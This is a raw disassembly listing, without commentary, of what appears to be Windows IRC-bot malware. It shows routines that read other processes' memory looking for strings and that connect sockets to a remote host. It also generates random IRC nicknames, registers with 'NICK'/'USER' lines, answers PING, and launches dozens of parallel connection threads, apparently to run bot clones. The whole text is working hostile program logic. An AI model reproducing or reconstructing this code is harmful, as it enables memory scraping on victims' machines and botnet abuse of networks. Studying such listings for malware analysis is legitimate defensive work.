pop ecx
jnz short loc_419C88
lea eax, [edi+200h]
push eax
push offset dword_4DA968
call sub_4298E2
test eax, eax
pop ecx
pop ecx
jz short loc_419C98
loc_419C88: ; CODE XREF: seg000:00419C6Fj
mov eax, [ebp-38h]
mov ecx, [ebp-10h]
inc edi
inc edi
add eax, ecx
cmp edi, eax
jb short loc_419C60
jmp short loc_419D09
; ---------------------------------------------------------------------------
loc_419C98: ; CODE XREF: seg000:00419C86j
test edi, edi
jz short loc_419D09
lea eax, [ebp-18h]
push eax
lea eax, [edi+410h]
push eax
call ds:dword_42B0AC ; FileTimeToLocalFileTime
test eax, eax
jz short loc_419CD5
lea eax, [ebp-28h]
push eax
lea eax, [ebp-18h]
push eax
call ds:dword_42B0A8 ; FileTimeToSystemTime
test eax, eax
jz short loc_419CD5
mov ecx, [ebp+0Ch]
xor eax, eax
mov al, [edi+42Ch]
shr eax, 1
and eax, 7Fh
mov [ecx], eax
loc_419CD5: ; CODE XREF: seg000:00419CAFj
; seg000:00419CC1j
movzx eax, byte ptr [edi+42Dh]
mov ds:dword_4DB180, eax
mov eax, [ebp-4]
mov eax, [eax+18h]
sub eax, [ebp-10h]
mov dword ptr [ebp-14h], 1
lea eax, [eax+edi+434h]
add edi, 434h
mov ds:dword_4DB178, eax
mov ds:dword_4DB17C, edi
loc_419D09: ; CODE XREF: seg000:00419C1Cj
; seg000:00419C26j ...
push dword ptr [ebp-4]
push 0
call esi ; GetProcessHeap
push eax
call ds:dword_42B0E0 ; RtlFreeHeap
mov esi, [ebp-14h]
loc_419D1A: ; CODE XREF: seg000:00419C00j
push dword ptr [ebp-8]
call ds:dword_42B004 ; CloseHandle
pop edi
mov eax, esi
pop ebx
loc_419D27: ; CODE XREF: seg000:00419BB0j
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 50h
push dword ptr [ebp+8]
push 0
push 410h
call ds:dword_42B040 ; OpenProcess
test eax, eax
mov [ebp-4], eax
jnz short loc_419D49
leave
retn
; ---------------------------------------------------------------------------
loc_419D49: ; CODE XREF: seg000:00419D45j
mov eax, [ebp+0Ch]
and dword ptr [eax], 0
push ebx
push esi
push edi
lea eax, [ebp-50h]
push eax
call ds:dword_42B0F4 ; GetSystemInfo
mov eax, [ebp-44h]
mov ebx, [ebp-48h]
cmp ebx, eax
mov [ebp-10h], eax
jnb loc_419E09
mov edi, ds:dword_42B0E8
loc_419D73: ; CODE XREF: seg000:00419E03j
push 1Ch
lea eax, [ebp-2Ch]
push eax
push ebx
push dword ptr [ebp-4]
call ds:dword_42B0EC ; VirtualQueryEx
test eax, eax
jz short loc_419DF7
test byte ptr [ebp-1Bh], 10h
mov eax, [ebp-20h]
mov [ebp-8], eax
jz short loc_419DFD
test byte ptr [ebp-17h], 1
jnz short loc_419DFD
push eax
push 8
call edi ; GetProcessHeap
push eax
call ds:dword_42B0E4 ; RtlAllocateHeap
and dword ptr [ebp-0Ch], 0
mov esi, eax
lea eax, [ebp-0Ch]
push eax
push dword ptr [ebp-20h]
push esi
push ebx
push dword ptr [ebp-4]
call ds:dword_42B0F0 ; ReadProcessMemory
test eax, eax
jz short loc_419DE9
push offset dword_4DA160
push esi
call sub_4298E2
test eax, eax
pop ecx
pop ecx
jnz short loc_419DE9
lea eax, [esi+400h]
push offset dword_4DA968
push eax
call sub_4298E2
test eax, eax
pop ecx
pop ecx
jz short loc_419E1B
loc_419DE9: ; CODE XREF: seg000:00419DBFj
; seg000:00419DD0j
push esi
push 0
call edi ; GetProcessHeap
push eax
call ds:dword_42B0E0 ; RtlFreeHeap
jmp short loc_419DFD
; ---------------------------------------------------------------------------
loc_419DF7: ; CODE XREF: seg000:00419D85j
mov eax, [ebp-4Ch]
mov [ebp-8], eax
loc_419DFD: ; CODE XREF: seg000:00419D91j
; seg000:00419D97j ...
add ebx, [ebp-8]
cmp ebx, [ebp-10h]
jb loc_419D73
loc_419E09: ; CODE XREF: seg000:00419D67j
xor esi, esi
loc_419E0B: ; CODE XREF: seg000:00419E4Dj
push dword ptr [ebp-4]
call ds:dword_42B004 ; CloseHandle
pop edi
mov eax, esi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_419E1B: ; CODE XREF: seg000:00419DE7j
add ebx, 800h
lea eax, [esi+800h]
xor ecx, ecx
mov ds:dword_4DB178, ebx
mov ds:dword_4DB17C, eax
cmp [eax], cl
jnz short loc_419E3D
cmp [eax+1], cl
jz short loc_419E45
loc_419E3D: ; CODE XREF: seg000:00419E36j
; seg000:00419E43j
inc ecx
inc eax
inc eax
cmp byte ptr [eax], 0
jnz short loc_419E3D
loc_419E45: ; CODE XREF: seg000:00419E3Bj
mov eax, [ebp+0Ch]
xor esi, esi
mov [eax], ecx
inc esi
jmp short loc_419E0B
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, ds:dword_4DB174
add eax, eax
mov [ebp-8], ax
add eax, 2
push esi
mov esi, ds:dword_42B0E8
mov [ebp-6], ax
movzx eax, ax
push edi
push eax
push 8
call esi ; GetProcessHeap
push eax
call ds:dword_42B0E4 ; RtlAllocateHeap
mov ecx, ds:dword_4DB174
add ecx, ecx
push ecx
push ds:dword_4DB17C
mov [ebp-4], eax
push eax
call sub_41F400
add esp, 0Ch
lea eax, [ebp-8]
push eax
xor eax, eax
mov al, byte ptr ds:dword_4DB180
push eax
call ds:dword_4DA964
push dword ptr [ebp-4]
mov edi, offset dword_4DB188
push offset dword_4DA160
push offset dword_4DA968
push dword ptr [ebp+8]
push offset dword_436F78
push 200h
push edi
call sub_41E6FE
add esp, 1Ch
push dword ptr [ebp-4]
push 0
call esi ; GetProcessHeap
push eax
call ds:dword_42B0E0 ; RtlFreeHeap
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 18h
mov eax, ds:dword_4DB174
add eax, eax
push ebx
mov [ebp-18h], ax
add eax, 2
push esi
mov [ebp-16h], ax
movzx eax, ax
push edi
push eax
push 8
call ds:dword_42B0E8 ; GetProcessHeap
push eax
call ds:dword_42B0E4 ; RtlAllocateHeap
and dword ptr [ebp-0Ch], 0
mov [ebp-14h], eax
mov ebx, offset dword_4DA968
mov edi, 200h
mov esi, offset dword_4DB388
loc_419F2A: ; CODE XREF: seg000:00419FDEj
mov eax, ds:dword_4DB174
add eax, eax
push eax
push ds:dword_4DB17C
push dword ptr [ebp-14h]
call sub_41F400
add esp, 0Ch
lea eax, [ebp-18h]
push eax
push dword ptr [ebp-0Ch]
call ds:dword_4DA964
mov eax, ds:dword_4DB174
and dword ptr [ebp-10h], 0
test eax, eax
mov ecx, [ebp-14h]
mov dword ptr [ebp-8], 1
jbe short loc_419F9F
loc_419F67: ; CODE XREF: seg000:00419F97j
cmp dword ptr [ebp-8], 0
jz short loc_419FBC
mov dl, [ecx]
test dl, dl
mov [ebp-1], dl
jz short loc_419F8B
cmp byte ptr [ecx+1], 0
jnz short loc_419F8B
cmp dl, 20h
jnb short loc_419F85
and dword ptr [ebp-8], 0
loc_419F85: ; CODE XREF: seg000:00419F7Fj
cmp byte ptr [ebp-1], 7Eh
jbe short loc_419F8F
loc_419F8B: ; CODE XREF: seg000:00419F74j
; seg000:00419F7Aj
and dword ptr [ebp-8], 0
loc_419F8F: ; CODE XREF: seg000:00419F89j
inc ecx
inc ecx
inc dword ptr [ebp-10h]
cmp [ebp-10h], eax
jb short loc_419F67
cmp dword ptr [ebp-8], 0
jz short loc_419FBC
loc_419F9F: ; CODE XREF: seg000:00419F65j
push dword ptr [ebp-14h]
push offset dword_4DA160
push ebx
push dword ptr [ebp+8]
push offset dword_436F78
push edi
push esi
call sub_41E6FE
add esp, 1Ch
jmp short loc_419FD4
; ---------------------------------------------------------------------------
loc_419FBC: ; CODE XREF: seg000:00419F6Bj
; seg000:00419F9Dj
push offset dword_4DA160
push ebx
push dword ptr [ebp+8]
push offset dword_436FC8
push edi
push esi
call sub_41E6FE
add esp, 18h
loc_419FD4: ; CODE XREF: seg000:00419FBAj
inc dword ptr [ebp-0Ch]
cmp dword ptr [ebp-0Ch], 0FFh
jbe loc_419F2A
push dword ptr [ebp-14h]
push 0
call ds:dword_42B0E8 ; GetProcessHeap
push eax
call ds:dword_42B0E0 ; RtlFreeHeap
pop edi
mov eax, esi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
byte_419FFD db 55h, 8Dh, 6Ch ; DATA XREF: sub_40274D+1AE3o
dd 0EC818C24h, 29Ch, 537C458Bh, 256A5756h, 8DF08B59h, 0A5F3D87Dh
dd 8946F633h, 90B0h, 3625E800h, 0C63B0000h, 74704589h
dd 2F8830Fh, 0F0680A74h, 0E9004371h, 13Dh, 71DC6856h, 92E80043h
dd 85000023h, 0F5959C0h, 12384h, 71D06800h, 15FF0043h
dd 42B018h, 0B020358Bh, 0F88B0042h, 4371B468h, 7D895700h
dd 68D6FF6Ch, 437198h, 0A960A357h, 0D6FF004Dh, 43717868h
dd 68A35700h, 0FF004DB1h, 715C68D6h, 0A3570043h, 4DB16Ch
dd 4068D6FFh, 57004371h, 4DB170A3h, 0A3D6FF00h, 4DA964h
dd 0FFF956E8h, 89C085FFh, 840F7C45h, 90h, 0B0FC358Bh, 0BF0042h
dd 57000004h, 4DA160BBh, 2C685300h, 0FF004371h, 68BF57D6h
dd 57004DA9h, 43711468h, 83D6FF00h, 6801707Dh, 4DB174h
dd 757C75FFh, 0FA9AE807h, 5EBFFFFh, 0FFFC31E8h, 59C085FFh
dd 83427459h, 4DB1743Dh, 20750000h, 75FF5753h, 0D8858D7Ch
dd 68FFFFFDh, 4370B8h, 20068h, 0DBE85000h, 83000045h, 33EB18C4h
dd 1707D83h, 757C75FFh, 0FD19E807h, 5EBFFFFh, 0FFFDA9E8h
dd 0EB5059FFh, 707C680Ch, 5EB0043h, 43705068h, 0D8858D00h
dd 50FFFFFDh, 454DE8h, 6A595900h, 71DC6800h, 72E80043h
dd 59000022h, 6C75FF59h, 0B0F815FFh, 13EB0042h, 43701C68h
dd 0D8858D00h, 50FFFFFDh, 4521E8h, 33595900h, 647539F6h
dd 0FF561A75h, 858D6075h, 0FFFFFDD8h, 0DC458D50h, 0D875FF50h
dd 0FE7096E8h, 14C483FFh, 0FDD8858Dh, 0E850FFFFh, 0FFFFDBBCh
dd 0E85C75FFh, 0FFFF0F8Dh, 0FF565959h, 42B06815h
db 0, 0CCh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A1C6 proc near ; CODE XREF: seg000:0041A7D2p
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call ds:dword_444100 ; socket
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_41A242
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41E5F0
add esp, 0Ch
push [ebp+arg_4]
mov [ebp+var_10], 2
call ds:dword_444260 ; htons
push [ebp+arg_0]
mov [ebp+var_E], ax
call ds:dword_44417C ; inet_addr
cmp eax, esi
jnz short loc_41A227
push [ebp+arg_0]
call ds:dword_444168 ; gethostbyname
test eax, eax
jz short loc_41A242
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_41A227: ; CODE XREF: sub_41A1C6+4Bj
mov [ebp+var_C], eax
push 10h
lea eax, [ebp+var_10]
push eax
push edi
call ds:dword_4440AC ; connect
cmp eax, esi
jnz short loc_41A246
push edi
call ds:dword_444218 ; closesocket
loc_41A242: ; CODE XREF: sub_41A1C6+1Bj
; sub_41A1C6+58j
mov eax, esi
jmp short loc_41A248
; ---------------------------------------------------------------------------
loc_41A246: ; CODE XREF: sub_41A1C6+73j
mov eax, edi
loc_41A248: ; CODE XREF: sub_41A1C6+7Ej
pop edi
pop esi
leave
retn
sub_41A1C6 endp
; =============== S U B R O U T I N E =======================================
sub_41A24C proc near ; CODE XREF: sub_40274D+305Ep
; sub_40274D+30C1p ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
push offset asc_42CC64 ; "\n"
push edi
call sub_41EED0
pop ecx
pop ecx
mov esi, offset dword_4DB58C
loc_41A264: ; CODE XREF: sub_41A24C+42j
cmp dword ptr [esi-4], 1
jnz short loc_41A282
cmp dword ptr [esi], 0
jbe short loc_41A282
push 0
push edi
call sub_41E1C0
pop ecx
push eax
push edi
push dword ptr [esi]
call ds:dword_4441A0 ; send
loc_41A282: ; CODE XREF: sub_41A24C+1Cj
; sub_41A24C+21j
add esi, 210h
cmp esi, offset dword_4E1CAC
jl short loc_41A264
pop edi
pop esi
retn
sub_41A24C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A293 proc near ; CODE XREF: sub_40274D+34C1p
; sub_40274D+3504p ...
var_3C = byte ptr -3Ch
var_28 = byte ptr -28h
var_27 = byte ptr -27h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3Ch
push 14h
lea eax, [ebp+var_28]
push 0
push eax
call sub_41E5F0
add esp, 0Ch
call sub_41ECDE
mov [ebp+var_C], eax
fild [ebp+var_C]
fmul ds:dbl_437988
call sub_41FE38
cmp eax, 1
jnz short loc_41A2DD
call sub_41ECDE
call sub_41ECDE
push 66h
cdq
pop ecx
idiv ecx
push ds:off_4431D8[edx*4]
jmp short loc_41A2F6
; ---------------------------------------------------------------------------
loc_41A2DD: ; CODE XREF: sub_41A293+2Fj
call sub_41ECDE
call sub_41ECDE
cdq
mov ecx, 0C0h
idiv ecx
push ds:off_442ED8[edx*4]
loc_41A2F6: ; CODE XREF: sub_41A293+48j
lea eax, [ebp+var_28]
push eax
call sub_41EEC0
pop ecx
pop ecx
push ebx
push esi
lea eax, [ebp+var_28]
push edi
push eax
call sub_41E1C0
pop ecx
mov esi, eax
push 13h
pop ebx
mov [ebp+var_4], esi
sub ebx, esi
call sub_41ECDE
mov [ebp+var_C], eax
fild [ebp+var_C]
fmul ds:dbl_437980
call sub_41FE38
mov [ebp+var_14], eax
call sub_41ECDE
mov [ebp+var_C], eax
fild [ebp+var_C]
fimul [ebp+var_4]
fmul ds:dbl_437978
call sub_41FE38
cmp esi, 2
mov edi, offset a__1 ; "-|`_\\{[]}"
jle short loc_41A368
cmp esi, 3
jnz short loc_41A35F
cmp [ebp+var_14], 1
jz short loc_41A368
loc_41A35F: ; CODE XREF: sub_41A293+C4j
cmp eax, 1
jnz loc_41A42B
loc_41A368: ; CODE XREF: sub_41A293+BFj
; sub_41A293+CAj
call sub_41ECDE
mov [ebp+var_14], eax
fild [ebp+var_14]
fmul ds:dbl_437960
call sub_41FE38
push ds:off_4431D8[eax*4]
lea eax, [ebp+var_3C]
push eax
call sub_41EEC0
lea eax, [ebp+esi+var_28]
mov [ebp+var_C], eax
movsx eax, byte ptr [eax-1]
push eax
push edi
call sub_41EFD0
add esp, 10h
test eax, eax
jnz short loc_41A41A
movsx eax, [ebp+var_3C]
push eax
push edi
call sub_41EFD0
test eax, eax
pop ecx
pop ecx
jnz short loc_41A41A
call sub_41ECDE
mov [ebp+var_14], eax
fild [ebp+var_14]
dec esi
mov [ebp+var_14], esi
fild [ebp+var_14]
fmulp st(1), st
fmul ds:dbl_437978
call sub_41FE38
cmp eax, 1
jnz short loc_41A41A
push edi
call sub_41E1C0
test eax, eax
mov [ebp+var_14], eax
fild [ebp+var_14]
pop ecx
jge short loc_41A3F3
fadd ds:dbl_433088
loc_41A3F3: ; CODE XREF: sub_41A293+158j
fstp qword ptr [ebp-8]
call sub_41ECDE
mov [ebp+var_14], eax
fild [ebp+var_14]
fmul qword ptr [ebp-8]
fmul ds:dbl_437978
call sub_41FE38
mov al, byte ptr ds:a__1[eax] ; "-|`_\\{[]}"
mov ecx, [ebp+var_C]
mov [ecx], al
loc_41A41A: ; CODE XREF: sub_41A293+112j
; sub_41A293+123j ...
push ebx
lea eax, [ebp+var_3C]
push eax
lea eax, [ebp+var_28]
push eax
call sub_41F2C0
add esp, 0Ch
loc_41A42B: ; CODE XREF: sub_41A293+CFj
lea eax, [ebp+var_28]
push eax
call sub_41E1C0
mov esi, eax
lea ebx, [ebp+esi+var_28]
movsx eax, byte ptr [ebx-1]
push eax
mov [ebp+var_4], esi
call sub_420AD5
test eax, eax
pop ecx
pop ecx
jnz loc_41A695
and [ebp+var_C], eax
movsx eax, byte ptr [ebx-1]
push eax
push edi
call sub_41EFD0
test eax, eax
pop ecx
pop ecx
jnz loc_41A595
call sub_41ECDE
mov [ebp+var_14], eax
fild [ebp+var_14]
lea eax, [esi+3]
mov [ebp+var_14], eax
fild [ebp+var_14]
fmulp st(1), st
fmul ds:dbl_437978
call sub_41FE38
cmp esi, 3
jz short loc_41A498
cmp eax, 1
jnz loc_41A595
loc_41A498: ; CODE XREF: sub_41A293+1FAj
push 2
cdq
pop ecx
idiv ecx
cmp edx, 1
jnz short loc_41A4E0
push edi
call sub_41E1C0
test eax, eax
mov [ebp+var_14], eax
fild [ebp+var_14]
pop ecx
jge short loc_41A4BA
fadd ds:dbl_433088
loc_41A4BA: ; CODE XREF: sub_41A293+21Fj
fstp qword ptr [ebp-10h]
call sub_41ECDE
mov [ebp+var_14], eax
fild [ebp+var_14]
fmul qword ptr [ebp-10h]
fmul ds:dbl_437978
call sub_41FE38
mov al, byte ptr ds:a__1[eax] ; "-|`_\\{[]}"
mov [ebx], al
jmp short loc_41A4FC
; ---------------------------------------------------------------------------
loc_41A4E0: ; CODE XREF: sub_41A293+20Ej
call sub_41ECDE
mov [ebp+var_14], eax
fild [ebp+var_14]
fmul ds:dbl_437958
call sub_41FE38
mov cl, 41h
sub cl, al
mov [ebx], cl
loc_41A4FC: ; CODE XREF: sub_41A293+24Bj
xor ebx, ebx
inc esi
inc ebx
mov [ebp+var_4], esi
mov [ebp+var_C], ebx
call sub_41ECDE
mov [ebp+var_14], eax
fild [ebp+var_14]
fmul ds:dbl_437950
call sub_41FE38
cmp esi, 3
jz short loc_41A525
cmp eax, ebx
jnz short loc_41A595
loc_41A525: ; CODE XREF: sub_41A293+28Cj
push 2
pop ebx
cdq
mov ecx, ebx
idiv ecx
test edx, edx
jnz short loc_41A570
push edi
call sub_41E1C0
test eax, eax
mov [ebp+var_14], eax
fild [ebp+var_14]
pop ecx
jge short loc_41A548
fadd ds:dbl_433088
loc_41A548: ; CODE XREF: sub_41A293+2ADj
fstp qword ptr [ebp-10h]
call sub_41ECDE
mov [ebp+var_14], eax
fild [ebp+var_14]
fmul qword ptr [ebp-10h]
fmul ds:dbl_437978
call sub_41FE38
mov al, byte ptr ds:a__1[eax] ; "-|`_\\{[]}"
mov [ebp+esi+var_28], al
jmp short loc_41A58E
; ---------------------------------------------------------------------------
loc_41A570: ; CODE XREF: sub_41A293+29Cj
call sub_41ECDE
mov [ebp+var_14], eax
fild [ebp+var_14]
fmul ds:dbl_437958
call sub_41FE38
mov cl, 41h
sub cl, al
mov [ebp+esi+var_28], cl
loc_41A58E: ; CODE XREF: sub_41A293+2DBj
inc esi
mov [ebp+var_4], esi
mov [ebp+var_C], ebx
loc_41A595: ; CODE XREF: sub_41A293+1D0j
; sub_41A293+1FFj ...
cmp esi, 6
jge short loc_41A615
call sub_41ECDE
cmp esi, 5
jge short loc_41A5B2
mov [ebp+var_14], eax
fild [ebp+var_14]
fmul ds:dbl_437980
jmp short loc_41A5CB
; ---------------------------------------------------------------------------
loc_41A5B2: ; CODE XREF: sub_41A293+30Fj
mov [ebp+var_14], eax
fild [ebp+var_14]
push 8
pop eax
sub eax, esi
mov [ebp+var_14], eax
fild [ebp+var_14]
fmulp st(1), st
fmul ds:dbl_437978
loc_41A5CB: ; CODE XREF: sub_41A293+31Dj
call sub_41FE38
test eax, eax
jnz short loc_41A5EE
call sub_41ECDE
mov [ebp+var_14], eax
fild [ebp+var_14]
fmul ds:dbl_437948
call sub_41FE38
mov cl, 30h
jmp short loc_41A60B
; ---------------------------------------------------------------------------
loc_41A5EE: ; CODE XREF: sub_41A293+33Fj
cmp eax, 1
jnz short loc_41A615
call sub_41ECDE
mov [ebp+var_14], eax
fild [ebp+var_14]
fmul ds:dbl_437958
call sub_41FE38
mov cl, 41h
loc_41A60B: ; CODE XREF: sub_41A293+359j
sub cl, al
mov [ebp+esi+var_28], cl
inc esi
mov [ebp+var_4], esi
loc_41A615: ; CODE XREF: sub_41A293+305j
; sub_41A293+35Ej
cmp [ebp+var_C], 2
jge short loc_41A695
call sub_41ECDE
mov [ebp+var_14], eax
fild [ebp+var_14]
fimul [ebp+var_4]
fmul ds:dbl_437978
call sub_41FE38
cmp eax, 1
jnz short loc_41A695
call sub_41ECDE
mov [ebp+var_14], eax
fild [ebp+var_14]
fmul ds:dbl_437948
call sub_41FE38
mov cl, 30h
sub cl, al
mov [ebp+esi+var_28], cl
call sub_41ECDE
mov [ebp+var_14], eax
fild [ebp+var_14]
fmul ds:dbl_437940
call sub_41FE38
cmp eax, 1
jnz short loc_41A695
cmp [ebp+var_C], eax
jge short loc_41A695
call sub_41ECDE
mov [ebp+var_14], eax
fild [ebp+var_14]
fmul ds:dbl_437938
call sub_41FE38
mov cl, 30h
sub cl, al
mov [ebp+esi+var_27], cl
loc_41A695: ; CODE XREF: sub_41A293+1B8j
; sub_41A293+386j ...
push 14h
lea eax, [ebp+var_28]
push eax
push [ebp+arg_0]
call sub_41E860
mov eax, [ebp+arg_0]
add esp, 0Ch
pop edi
pop esi
pop ebx
leave
retn
sub_41A293 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A6AE proc near ; CODE XREF: seg000:0041A8D8p
var_420 = byte ptr -420h
var_220 = byte ptr -220h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 420h
push ebx
push esi
push edi
mov esi, offset asc_42FCE0 ; " "
push esi
push [ebp+arg_0]
call sub_41E7B2
xor edi, edi
pop ecx
inc edi
pop ecx
mov [ebp+var_20], eax
xor ebx, ebx
loc_41A6D2: ; CODE XREF: sub_41A6AE+35j
push esi
push ebx
call sub_41E7B2
mov [ebp+edi*4+var_20], eax
inc edi
cmp edi, 8
pop ecx
pop ecx
jl short loc_41A6D2
cmp [ebp+var_20], ebx
mov esi, [ebp+var_1C]
jnz short loc_41A6F9
cmp esi, ebx
jnz short loc_41A6F9
xor eax, eax
inc eax
jmp loc_41A79E
; ---------------------------------------------------------------------------
loc_41A6F9: ; CODE XREF: sub_41A6AE+3Dj
; sub_41A6AE+41j
push [ebp+var_20]
push offset aPing ; "PING"
call sub_41E990
test eax, eax
pop ecx
pop ecx
push esi
jnz short loc_41A723
lea eax, [ebp+var_220]
push offset aPongS_0 ; "PONG %s\n"
push eax
call sub_41E6A6
add esp, 0Ch
jmp short loc_41A77D
; ---------------------------------------------------------------------------
loc_41A723: ; CODE XREF: sub_41A6AE+5Dj
push offset a433 ; "433"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz short loc_41A744
push esi
push offset a432 ; "432"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_41A79C
loc_41A744: ; CODE XREF: sub_41A6AE+83j
push 200h
lea eax, [ebp+var_420]
push ebx
push eax
call sub_41E5F0
lea eax, [ebp+var_420]
push eax
call sub_41A293
lea eax, [ebp+var_420]
push eax
lea eax, [ebp+var_220]
push offset aNickS_1 ; "NICK %s\n"
push eax
call sub_41E6A6
add esp, 1Ch
loc_41A77D: ; CODE XREF: sub_41A6AE+73j
lea eax, [ebp+var_220]
push ebx
push eax
call sub_41E1C0
pop ecx
push eax
lea eax, [ebp+var_220]
push eax
push [ebp+arg_4]
call ds:dword_4441A0 ; send
loc_41A79C: ; CODE XREF: sub_41A6AE+94j
xor eax, eax
loc_41A79E: ; CODE XREF: sub_41A6AE+46j
pop edi
pop esi
pop ebx
leave
retn
sub_41A6AE endp
; ---------------------------------------------------------------------------
loc_41A7A3: ; DATA XREF: sub_41A954+57o
push ebp
mov ebp, esp
mov eax, 4008h
call sub_41EA20
push ebx
push esi
mov esi, [ebp+8]
imul esi, 210h
push edi
push ds:dword_4DB794[esi]
xor edi, edi
lea eax, dword_4DB594[esi]
inc edi
push eax
mov ds:dword_4DB588[esi], edi
call sub_41A1C6
pop ecx
xor ebx, ebx
cmp eax, edi
pop ecx
mov ds:dword_4DB58C[esi], eax
jb loc_41A934
mov edi, 1000h
push edi
lea eax, [ebp-2008h]
push ebx
push eax
call sub_41E5F0
lea eax, [ebp-2008h]
push eax
call sub_41A293
lea eax, [ebp-4008h]
push eax
call sub_41A293
lea eax, [ebp-3008h]
push eax
call sub_41A293
lea eax, [ebp-3008h]
push eax
lea eax, [ebp-4008h]
push eax
lea eax, [ebp-2008h]
push eax
lea eax, [ebp-1008h]
push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."...
push eax
call sub_41E6A6
add esp, 2Ch
lea eax, [ebp-1008h]
push ebx
push eax
call sub_41E1C0
pop ecx
push eax
lea eax, [ebp-1008h]
push eax
push ds:dword_4DB58C[esi]
call ds:dword_4441A0 ; send
push edi
lea eax, [ebp-1008h]
push ebx
push eax
call sub_41E5F0
push edi
lea eax, [ebp-1008h]
push ebx
push eax
call sub_41E5F0
add esp, 18h
jmp loc_41A914
; ---------------------------------------------------------------------------
loc_41A88F: ; CODE XREF: seg000:0041A92Ej
xor eax, eax
cmp [ebp-4], ebx
jmp short loc_41A8FE
; ---------------------------------------------------------------------------
loc_41A896: ; CODE XREF: seg000:0041A901j
mov al, [ebp+eax-1008h]
cmp al, 0Dh
jz short loc_41A8BD
cmp al, 0Ah
jz short loc_41A8BD
cmp dword ptr [ebp+8], 0FA0h
jz short loc_41A8BD
mov ecx, [ebp+8]
inc dword ptr [ebp+8]
mov [ebp+ecx-2008h], al
jmp short loc_41A8F7
; ---------------------------------------------------------------------------
loc_41A8BD: ; CODE XREF: seg000:0041A89Fj
; seg000:0041A8A3j ...
mov eax, [ebp+8]
cmp eax, ebx
jz short loc_41A8F7
push ds:dword_4DB58C[esi]
mov [ebp+eax-2008h], bl
lea eax, [ebp-2008h]
push eax
call sub_41A6AE
test eax, eax
pop ecx
pop ecx
ja short loc_41A934
push edi
lea eax, [ebp-2008h]
push ebx
push eax
call sub_41E5F0
add esp, 0Ch
mov [ebp+8], ebx
loc_41A8F7: ; CODE XREF: seg000:0041A8BBj
; seg000:0041A8C2j
mov eax, [ebp-8]
inc eax
cmp eax, [ebp-4]
loc_41A8FE: ; CODE XREF: seg000:0041A894j
mov [ebp-8], eax
jnz short loc_41A896
push edi
lea eax, [ebp-1008h]
push ebx
push eax
call sub_41E5F0
add esp, 0Ch
loc_41A914: ; CODE XREF: seg000:0041A88Aj
push ebx
push edi
lea eax, [ebp-1008h]
push eax
push ds:dword_4DB58C[esi]
call ds:dword_444064 ; recv
cmp eax, ebx
mov [ebp-4], eax
jg loc_41A88F
loc_41A934: ; CODE XREF: seg000:0041A7E3j
; seg000:0041A8E1j
mov ds:dword_4DB588[esi], ebx
mov esi, ds:dword_4DB58C[esi]
cmp esi, ebx
jbe short loc_41A94B
push esi
call ds:dword_444218 ; closesocket
loc_41A94B: ; CODE XREF: seg000:0041A942j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A954 proc near ; CODE XREF: sub_40274D+2FC0p
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp [ebp+arg_8], ebx
mov [ebp+var_4], ebx
jle short loc_41A9CF
push esi
push edi
loc_41A966: ; CODE XREF: sub_41A954+77j
xor edi, edi
mov eax, offset dword_4DB588
loc_41A96D: ; CODE XREF: sub_41A954+28j
cmp [eax], ebx
jz short loc_41A97E
add eax, 210h
inc edi
cmp eax, offset dword_4E1CA8
jl short loc_41A96D
loc_41A97E: ; CODE XREF: sub_41A954+1Bj
cmp edi, 31h
jz short loc_41A9CD
push [ebp+arg_0]
mov esi, edi
imul esi, 210h
lea eax, dword_4DB594[esi]
push eax
call sub_41EEC0
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ds:dword_4DB794[esi], eax
lea eax, [ebp+var_8]
push eax
push ebx
push edi
push offset loc_41A7A3
push ebx
push ebx
mov ds:dword_4DB588[esi], 1
call ds:dword_42B03C ; CreateThread
inc [ebp+var_4]
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_8]
jl short loc_41A966
loc_41A9CD: ; CODE XREF: sub_41A954+2Dj
pop edi
pop esi
loc_41A9CF: ; CODE XREF: sub_41A954+Ej
pop ebx
leave
retn
sub_41A954 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A9D2 proc near ; CODE XREF: sub_41AA0A+127p
; sub_41AA0A+14Ep
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
sub edi, [ebp+arg_C]
xor esi, esi
test edi, edi
jle short loc_41AA00
loc_41A9E3: ; CODE XREF: sub_41A9D2+2Cj
push [ebp+arg_C]
mov eax, [ebp+arg_0]
push [ebp+arg_8]
add eax, esi
push eax
call sub_41F780
add esp, 0Ch
test eax, eax
jz short loc_41AA06
inc esi
cmp esi, edi
